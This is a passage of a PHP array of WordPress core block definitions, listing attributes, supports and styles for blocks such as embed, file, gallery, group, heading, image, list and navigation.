        )
      ),
      'layout' => array(
        'allowEditing' => false
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-details-editor',
    'style' => 'wp-block-details'
  ),
  'embed' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/embed',
    'title' => 'Embed',
    'category' => 'embed',
    'description' => 'Add a block that displays content pulled from other sites, like Twitter or YouTube.',
    'textdomain' => 'default',
    'attributes' => array(
      'url' => array(
        'type' => 'string',
        '__experimentalRole' => 'content'
      ),
      'caption' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'figcaption',
        '__experimentalRole' => 'content'
      ),
      'type' => array(
        'type' => 'string',
        '__experimentalRole' => 'content'
      ),
      'providerNameSlug' => array(
        'type' => 'string',
        '__experimentalRole' => 'content'
      ),
      'allowResponsive' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'responsive' => array(
        'type' => 'boolean',
        'default' => false,
        '__experimentalRole' => 'content'
      ),
      'previewable' => array(
        'type' => 'boolean',
        'default' => true,
        '__experimentalRole' => 'content'
      )
    ),
    'supports' => array(
      'align' => true,
      'spacing' => array(
        'margin' => true
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-embed-editor',
    'style' => 'wp-block-embed'
  ),
  'file' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/file',
    'title' => 'File',
    'category' => 'media',
    'description' => 'Add a link to a downloadable file.',
    'keywords' => array(
      'document',
      'pdf',
      'download'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'id' => array(
        'type' => 'number'
      ),
      'href' => array(
        'type' => 'string'
      ),
      'fileId' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'a:not([download])',
        'attribute' => 'id'
      ),
      'fileName' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'a:not([download])'
      ),
      'textLinkHref' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'a:not([download])',
        'attribute' => 'href'
      ),
      'textLinkTarget' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'a:not([download])',
        'attribute' => 'target'
      ),
      'showDownloadButton' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'downloadButtonText' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'a[download]'
      ),
      'displayPreview' => array(
        'type' => 'boolean'
      ),
      'previewHeight' => array(
        'type' => 'number',
        'default' => 600
      )
    ),
    'supports' => array(
      'anchor' => true,
      'align' => true,
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'color' => array(
        'gradients' => true,
        'link' => true,
        'text' => false,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'link' => true
        )
      ),
      'interactivity' => true
    ),
    'editorStyle' => 'wp-block-file-editor',
    'style' => 'wp-block-file'
  ),
  'footnotes' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/footnotes',
    'title' => 'Footnotes',
    'category' => 'text',
    'description' => 'Display footnotes added to the page.',
    'keywords' => array(
      'references'
    ),
    'textdomain' => 'default',
    'usesContext' => array(
      'postId',
      'postType'
    ),
    'supports' => array(
      '__experimentalBorder' => array(
        'radius' => true,
        'color' => true,
        'width' => true,
        'style' => true,
        '__experimentalDefaultControls' => array(
          'radius' => false,
          'color' => false,
          'width' => false,
          'style' => false
        )
      ),
      'color' => array(
        'background' => true,
        'link' => true,
        'text' => true,
        '__experimentalDefaultControls' => array(
          'link' => true,
          'text' => true
        )
      ),
      'html' => false,
      'multiple' => false,
      'reusable' => false,
      'inserter' => false,
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalFontStyle' => true,
        '__experimentalFontWeight' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalTextTransform' => true,
        '__experimentalWritingMode' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-footnotes'
  ),
  'freeform' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/freeform',
    'title' => 'Classic',
    'category' => 'text',
    'description' => 'Use the classic WordPress editor.',
    'textdomain' => 'default',
    'attributes' => array(
      'content' => array(
        'type' => 'string',
        'source' => 'raw'
      )
    ),
    'supports' => array(
      'className' => false,
      'customClassName' => false,
      'reusable' => false
    ),
    'editorStyle' => 'wp-block-freeform-editor'
  ),
  'gallery' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/gallery',
    'title' => 'Gallery',
    'category' => 'media',
    'allowedBlocks' => array(
      'core/image'
    ),
    'description' => 'Display multiple images in a rich gallery.',
    'keywords' => array(
      'images',
      'photos'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'images' => array(
        'type' => 'array',
        'default' => array(
          
        ),
        'source' => 'query',
        'selector' => '.blocks-gallery-item',
        'query' => array(
          'url' => array(
            'type' => 'string',
            'source' => 'attribute',
            'selector' => 'img',
            'attribute' => 'src'
          ),
          'fullUrl' => array(
            'type' => 'string',
            'source' => 'attribute',
            'selector' => 'img',
            'attribute' => 'data-full-url'
          ),
          'link' => array(
            'type' => 'string',
            'source' => 'attribute',
            'selector' => 'img',
            'attribute' => 'data-link'
          ),
          'alt' => array(
            'type' => 'string',
            'source' => 'attribute',
            'selector' => 'img',
            'attribute' => 'alt',
            'default' => ''
          ),
          'id' => array(
            'type' => 'string',
            'source' => 'attribute',
            'selector' => 'img',
            'attribute' => 'data-id'
          ),
          'caption' => array(
            'type' => 'rich-text',
            'source' => 'rich-text',
            'selector' => '.blocks-gallery-item__caption'
          )
        )
      ),
      'ids' => array(
        'type' => 'array',
        'items' => array(
          'type' => 'number'
        ),
        'default' => array(
          
        )
      ),
      'shortCodeTransforms' => array(
        'type' => 'array',
        'items' => array(
          'type' => 'object'
        ),
        'default' => array(
          
        )
      ),
      'columns' => array(
        'type' => 'number',
        'minimum' => 1,
        'maximum' => 8
      ),
      'caption' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => '.blocks-gallery-caption'
      ),
      'imageCrop' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'randomOrder' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'fixedHeight' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'linkTarget' => array(
        'type' => 'string'
      ),
      'linkTo' => array(
        'type' => 'string'
      ),
      'sizeSlug' => array(
        'type' => 'string',
        'default' => 'large'
      ),
      'allowResize' => array(
        'type' => 'boolean',
        'default' => false
      )
    ),
    'providesContext' => array(
      'allowResize' => 'allowResize',
      'imageCrop' => 'imageCrop',
      'fixedHeight' => 'fixedHeight'
    ),
    'supports' => array(
      'anchor' => true,
      'align' => true,
      'html' => false,
      'units' => array(
        'px',
        'em',
        'rem',
        'vh',
        'vw'
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        'blockGap' => array(
          'horizontal',
          'vertical'
        ),
        '__experimentalSkipSerialization' => array(
          'blockGap'
        ),
        '__experimentalDefaultControls' => array(
          'blockGap' => true,
          'margin' => false,
          'padding' => false
        )
      ),
      'color' => array(
        'text' => false,
        'background' => true,
        'gradients' => true
      ),
      'layout' => array(
        'allowSwitching' => false,
        'allowInheriting' => false,
        'allowEditing' => false,
        'default' => array(
          'type' => 'flex'
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-gallery-editor',
    'style' => 'wp-block-gallery'
  ),
  'group' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/group',
    'title' => 'Group',
    'category' => 'design',
    'description' => 'Gather blocks in a layout container.',
    'keywords' => array(
      'container',
      'wrapper',
      'row',
      'section'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'tagName' => array(
        'type' => 'string',
        'default' => 'div'
      ),
      'templateLock' => array(
        'type' => array(
          'string',
          'boolean'
        ),
        'enum' => array(
          'all',
          'insert',
          'contentOnly',
          false
        )
      ),
      'allowedBlocks' => array(
        'type' => 'array'
      )
    ),
    'supports' => array(
      '__experimentalOnEnter' => true,
      '__experimentalOnMerge' => true,
      '__experimentalSettings' => true,
      'align' => array(
        'wide',
        'full'
      ),
      'anchor' => true,
      'ariaLabel' => true,
      'html' => false,
      'background' => array(
        'backgroundImage' => true,
        'backgroundSize' => true,
        '__experimentalDefaultControls' => array(
          'backgroundImage' => true
        )
      ),
      'color' => array(
        'gradients' => true,
        'heading' => true,
        'button' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'margin' => array(
          'top',
          'bottom'
        ),
        'padding' => true,
        'blockGap' => true,
        '__experimentalDefaultControls' => array(
          'padding' => true,
          'blockGap' => true
        )
      ),
      'dimensions' => array(
        'minHeight' => true
      ),
      '__experimentalBorder' => array(
        'color' => true,
        'radius' => true,
        'style' => true,
        'width' => true,
        '__experimentalDefaultControls' => array(
          'color' => true,
          'radius' => true,
          'style' => true,
          'width' => true
        )
      ),
      'position' => array(
        'sticky' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'layout' => array(
        'allowSizingOnChildren' => true
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-group-editor',
    'style' => 'wp-block-group'
  ),
  'heading' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/heading',
    'title' => 'Heading',
    'category' => 'text',
    'description' => 'Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.',
    'keywords' => array(
      'title',
      'subtitle'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      ),
      'content' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'h1,h2,h3,h4,h5,h6',
        '__experimentalRole' => 'content'
      ),
      'level' => array(
        'type' => 'number',
        'default' => 2
      ),
      'placeholder' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'align' => array(
        'wide',
        'full'
      ),
      'anchor' => true,
      'className' => true,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontStyle' => true,
        '__experimentalFontWeight' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalWritingMode' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      '__unstablePasteTextInline' => true,
      '__experimentalSlashInserter' => true,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-heading-editor',
    'style' => 'wp-block-heading'
  ),
  'home-link' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/home-link',
    'category' => 'design',
    'parent' => array(
      'core/navigation'
    ),
    'title' => 'Home Link',
    'description' => 'Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.',
    'textdomain' => 'default',
    'attributes' => array(
      'label' => array(
        'type' => 'string'
      )
    ),
    'usesContext' => array(
      'textColor',
      'customTextColor',
      'backgroundColor',
      'customBackgroundColor',
      'fontSize',
      'customFontSize',
      'style'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-home-link-editor',
    'style' => 'wp-block-home-link'
  ),
  'html' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/html',
    'title' => 'Custom HTML',
    'category' => 'widgets',
    'description' => 'Add custom HTML code and preview it as you edit.',
    'keywords' => array(
      'embed'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'content' => array(
        'type' => 'string',
        'source' => 'raw'
      )
    ),
    'supports' => array(
      'customClassName' => false,
      'className' => false,
      'html' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-html-editor'
  ),
  'image' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/image',
    'title' => 'Image',
    'category' => 'media',
    'usesContext' => array(
      'allowResize',
      'imageCrop',
      'fixedHeight'
    ),
    'description' => 'Insert an image to make a visual statement.',
    'keywords' => array(
      'img',
      'photo',
      'picture'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'url' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'img',
        'attribute' => 'src',
        '__experimentalRole' => 'content'
      ),
      'alt' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'img',
        'attribute' => 'alt',
        'default' => '',
        '__experimentalRole' => 'content'
      ),
      'caption' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'figcaption',
        '__experimentalRole' => 'content'
      ),
      'lightbox' => array(
        'type' => 'object',
        'enabled' => array(
          'type' => 'boolean'
        )
      ),
      'title' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'img',
        'attribute' => 'title',
        '__experimentalRole' => 'content'
      ),
      'href' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'figure > a',
        'attribute' => 'href',
        '__experimentalRole' => 'content'
      ),
      'rel' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'figure > a',
        'attribute' => 'rel'
      ),
      'linkClass' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'figure > a',
        'attribute' => 'class'
      ),
      'id' => array(
        'type' => 'number',
        '__experimentalRole' => 'content'
      ),
      'width' => array(
        'type' => 'string'
      ),
      'height' => array(
        'type' => 'string'
      ),
      'aspectRatio' => array(
        'type' => 'string'
      ),
      'scale' => array(
        'type' => 'string'
      ),
      'sizeSlug' => array(
        'type' => 'string'
      ),
      'linkDestination' => array(
        'type' => 'string'
      ),
      'linkTarget' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'figure > a',
        'attribute' => 'target'
      )
    ),
    'supports' => array(
      'interactivity' => true,
      'align' => array(
        'left',
        'center',
        'right',
        'wide',
        'full'
      ),
      'anchor' => true,
      'color' => array(
        'text' => false,
        'background' => false
      ),
      'filter' => array(
        'duotone' => true
      ),
      '__experimentalBorder' => array(
        'color' => true,
        'radius' => true,
        'width' => true,
        '__experimentalSkipSerialization' => true,
        '__experimentalDefaultControls' => array(
          'color' => true,
          'radius' => true,
          'width' => true
        )
      ),
      'shadow' => array(
        '__experimentalSkipSerialization' => true
      )
    ),
    'selectors' => array(
      'border' => '.wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder',
      'shadow' => '.wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder',
      'filter' => array(
        'duotone' => '.wp-block-image img, .wp-block-image .components-placeholder'
      )
    ),
    'styles' => array(
      array(
        'name' => 'default',
        'label' => 'Default',
        'isDefault' => true
      ),
      array(
        'name' => 'rounded',
        'label' => 'Rounded'
      )
    ),
    'editorStyle' => 'wp-block-image-editor',
    'style' => 'wp-block-image'
  ),
  'latest-comments' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/latest-comments',
    'title' => 'Latest Comments',
    'category' => 'widgets',
    'description' => 'Display a list of your most recent comments.',
    'keywords' => array(
      'recent comments'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'commentsToShow' => array(
        'type' => 'number',
        'default' => 5,
        'minimum' => 1,
        'maximum' => 100
      ),
      'displayAvatar' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'displayDate' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'displayExcerpt' => array(
        'type' => 'boolean',
        'default' => true
      )
    ),
    'supports' => array(
      'align' => true,
      'html' => false,
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-latest-comments-editor',
    'style' => 'wp-block-latest-comments'
  ),
  'latest-posts' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/latest-posts',
    'title' => 'Latest Posts',
    'category' => 'widgets',
    'description' => 'Display a list of your most recent posts.',
    'keywords' => array(
      'recent posts'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'categories' => array(
        'type' => 'array',
        'items' => array(
          'type' => 'object'
        )
      ),
      'selectedAuthor' => array(
        'type' => 'number'
      ),
      'postsToShow' => array(
        'type' => 'number',
        'default' => 5
      ),
      'displayPostContent' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'displayPostContentRadio' => array(
        'type' => 'string',
        'default' => 'excerpt'
      ),
      'excerptLength' => array(
        'type' => 'number',
        'default' => 55
      ),
      'displayAuthor' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'displayPostDate' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'postLayout' => array(
        'type' => 'string',
        'default' => 'list'
      ),
      'columns' => array(
        'type' => 'number',
        'default' => 3
      ),
      'order' => array(
        'type' => 'string',
        'default' => 'desc'
      ),
      'orderBy' => array(
        'type' => 'string',
        'default' => 'date'
      ),
      'displayFeaturedImage' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'featuredImageAlign' => array(
        'type' => 'string',
        'enum' => array(
          'left',
          'center',
          'right'
        )
      ),
      'featuredImageSizeSlug' => array(
        'type' => 'string',
        'default' => 'thumbnail'
      ),
      'featuredImageSizeWidth' => array(
        'type' => 'number',
        'default' => null
      ),
      'featuredImageSizeHeight' => array(
        'type' => 'number',
        'default' => null
      ),
      'addLinkToFeaturedImage' => array(
        'type' => 'boolean',
        'default' => false
      )
    ),
    'supports' => array(
      'align' => true,
      'html' => false,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-latest-posts-editor',
    'style' => 'wp-block-latest-posts'
  ),
  'legacy-widget' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/legacy-widget',
    'title' => 'Legacy Widget',
    'category' => 'widgets',
    'description' => 'Display a legacy widget.',
    'textdomain' => 'default',
    'attributes' => array(
      'id' => array(
        'type' => 'string',
        'default' => null
      ),
      'idBase' => array(
        'type' => 'string',
        'default' => null
      ),
      'instance' => array(
        'type' => 'object',
        'default' => null
      )
    ),
    'supports' => array(
      'html' => false,
      'customClassName' => false,
      'reusable' => false
    ),
    'editorStyle' => 'wp-block-legacy-widget-editor'
  ),
  'list' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/list',
    'title' => 'List',
    'category' => 'text',
    'allowedBlocks' => array(
      'core/list-item'
    ),
    'description' => 'Create a bulleted or numbered list.',
    'keywords' => array(
      'bullet list',
      'ordered list',
      'numbered list'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'ordered' => array(
        'type' => 'boolean',
        'default' => false,
        '__experimentalRole' => 'content'
      ),
      'values' => array(
        'type' => 'string',
        'source' => 'html',
        'selector' => 'ol,ul',
        'multiline' => 'li',
        '__unstableMultilineWrapperTags' => array(
          'ol',
          'ul'
        ),
        'default' => '',
        '__experimentalRole' => 'content'
      ),
      'type' => array(
        'type' => 'string'
      ),
      'start' => array(
        'type' => 'number'
      ),
      'reversed' => array(
        'type' => 'boolean'
      ),
      'placeholder' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'anchor' => true,
      'className' => false,
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      '__unstablePasteTextInline' => true,
      '__experimentalSelector' => 'ol,ul',
      '__experimentalOnMerge' => true,
      '__experimentalSlashInserter' => true,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-list-editor',
    'style' => 'wp-block-list'
  ),
  'list-item' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/list-item',
    'title' => 'List item',
    'category' => 'text',
    'parent' => array(
      'core/list'
    ),
    'allowedBlocks' => array(
      'core/list'
    ),
    'description' => 'Create a list item.',
    'textdomain' => 'default',
    'attributes' => array(
      'placeholder' => array(
        'type' => 'string'
      ),
      'content' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'li',
        '__experimentalRole' => 'content'
      )
    ),
    'supports' => array(
      'className' => false,
      '__experimentalSelector' => 'li',
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'loginout' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/loginout',
    'title' => 'Login/out',
    'category' => 'theme',
    'description' => 'Show login & logout links.',
    'keywords' => array(
      'login',
      'logout',
      'form'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'displayLoginAsForm' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'redirectToCurrent' => array(
        'type' => 'boolean',
        'default' => true
      )
    ),
    'supports' => array(
      'className' => true,
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'media-text' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/media-text',
    'title' => 'Media & Text',
    'category' => 'media',
    'description' => 'Set media and words side-by-side for a richer layout.',
    'keywords' => array(
      'image',
      'video'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'align' => array(
        'type' => 'string',
        'default' => 'none'
      ),
      'mediaAlt' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'figure img',
        'attribute' => 'alt',
        'default' => '',
        '__experimentalRole' => 'content'
      ),
      'mediaPosition' => array(
        'type' => 'string',
        'default' => 'left'
      ),
      'mediaId' => array(
        'type' => 'number',
        '__experimentalRole' => 'content'
      ),
      'mediaUrl' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'figure video,figure img',
        'attribute' => 'src',
        '__experimentalRole' => 'content'
      ),
      'mediaLink' => array(
        'type' => 'string'
      ),
      'linkDestination' => array(
        'type' => 'string'
      ),
      'linkTarget' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'figure a',
        'attribute' => 'target'
      ),
      'href' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'figure a',
        'attribute' => 'href',
        '__experimentalRole' => 'content'
      ),
      'rel' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'figure a',
        'attribute' => 'rel'
      ),
      'linkClass' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'figure a',
        'attribute' => 'class'
      ),
      'mediaType' => array(
        'type' => 'string',
        '__experimentalRole' => 'content'
      ),
      'mediaWidth' => array(
        'type' => 'number',
        'default' => 50
      ),
      'mediaSizeSlug' => array(
        'type' => 'string'
      ),
      'isStackedOnMobile' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'verticalAlignment' => array(
        'type' => 'string'
      ),
      'imageFill' => array(
        'type' => 'boolean'
      ),
      'focalPoint' => array(
        'type' => 'object'
      ),
      'allowedBlocks' => array(
        'type' => 'array'
      )
    ),
    'supports' => array(
      'anchor' => true,
      'align' => array(
        'wide',
        'full'
      ),
      'html' => false,
      'color' => array(
        'gradients' => true,
        'heading' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-media-text-editor',
    'style' => 'wp-block-media-text'
  ),
  'missing' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/missing',
    'title' => 'Unsupported',
    'category' => 'text',
    'description' => 'Your site doesn’t include support for this block.',
    'textdomain' => 'default',
    'attributes' => array(
      'originalName' => array(
        'type' => 'string'
      ),
      'originalUndelimitedContent' => array(
        'type' => 'string'
      ),
      'originalContent' => array(
        'type' => 'string',
        'source' => 'raw'
      )
    ),
    'supports' => array(
      'className' => false,
      'customClassName' => false,
      'inserter' => false,
      'html' => false,
      'reusable' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'more' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/more',
    'title' => 'More',
    'category' => 'design',
    'description' => 'Content before this block will be shown in the excerpt on your archives page.',
    'keywords' => array(
      'read more'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'customText' => array(
        'type' => 'string'
      ),
      'noTeaser' => array(
        'type' => 'boolean',
        'default' => false
      )
    ),
    'supports' => array(
      'customClassName' => false,
      'className' => false,
      'html' => false,
      'multiple' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-more-editor'
  ),
  'navigation' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/navigation',
    'title' => 'Navigation',
    'category' => 'theme',
    'allowedBlocks' => array(
      'core/navigation-link',
      'core/search',
      'core/social-links',
      'core/page-list',
      'core/spacer',
      'core/home-link',
      'core/site-title',
      'core/site-logo',
      'core/navigation-submenu',
      'core/loginout',
      'core/buttons'
    ),
    'description' => 'A collection of blocks that allow visitors to get around your site.',
    'keywords' => array(
      'menu',
      'navigation',
      'links'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'ref' => array(
        'type' => 'number'
      ),
      'textColor' => array(
        'type' => 'string'
      ),
      'customTextColor' => array(
        'type' => 'string'
      ),
      'rgbTextColor' => array(
        'type' => 'string'
      ),
      'backgroundColor' => array(
        'type' => 'string'
      ),
